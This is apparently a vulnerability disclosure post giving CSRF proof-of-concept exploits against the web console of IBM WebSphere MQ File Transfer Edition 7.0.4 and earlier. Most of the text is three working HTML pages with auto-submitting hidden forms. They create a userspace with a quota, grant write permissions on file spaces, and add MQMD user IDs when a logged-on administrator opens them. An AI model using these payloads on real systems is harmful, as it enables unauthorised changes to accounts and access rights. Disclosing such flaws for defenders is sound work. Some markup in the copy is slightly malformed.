1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 |
*Exploit Author:* Nir Valtman *Description:* Malicious user is able to add userspace, change permissions on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of the these vulnerabilities can be exploited using a CSRF (Cross Site Request Forgery) attack. Few days ago the CVE has been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482> * * *Affected Platforms: *Version 7.0.4 and all previous versions of WebSphere MQ File Transfer Edition<http://publib.boulder.ibm.com/infocenter/wmqfte/v7r0/index.jsp>running on all platforms are affected. * * * * *Exploit Details:* *1. CSRF To add user and define his quota on a userspace* I created the following HTML page and then opened it by a logged-on user: <html> <head></head> <body> <form id="frm" method="post" action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces" <input type="hidden" name="nirvcsrf" value="junk" /> <input type="hidden" name="name" value="zzzzzz" /> <input type="hidden" name="quota" value="15" /> <input type="hidden" name="id" value="NewFileSpace" /> </form> <script> document.frm.submit(); </script> </body> </html> See the following screenshot, which follows the execution of CSRF attack: [image: Inline image 1] *2. CSRF to add permissions on file spaces:* I created the following HTML page and then opened it by a logged-on user: <html> <head></head> <body> <form id="frm" method="post" action="https://*[ip-address-and-port]* /wmqfteconsole/FileSpacePermisssions" <input type="hidden" name="nirvcsrf" value="junk" /> <input type="hidden" name="user" value="bodek2" /> <input type="hidden" name="write" value="authorized" /> <input type="hidden" name="id" value="zzzzzz_TEMP_PERMISSIONS" /> </form> <script> document.frm.submit(); </script> </body> </html> See the following screenshot, which follows the execution of CSRF attack: [image: Inline image 2] *2. CSRF to add MQMD user id:* I created the following HTML page and then opened it by a logged-on user: <html> <head></head> <body> <form id="frm" method="post" action="https://*[ip-address-and-port]*/wmqfteconsole/UploadUsers" <input type="hidden" name="nirvcsrf" value="junk" /> <input type="hidden" name="userID" value="csrfUserId" /> <input type="hidden" name="mqmdUserID" value="userIdTest" /> <input type="hidden" name="id" value="NewUploadUser" /> </form> <script> document.frm.submit(); </script> </body> </html> See the following screenshot, which follows the execution of CSRF attack: [image: Inline image 3] Best Regards, Nir Valtman |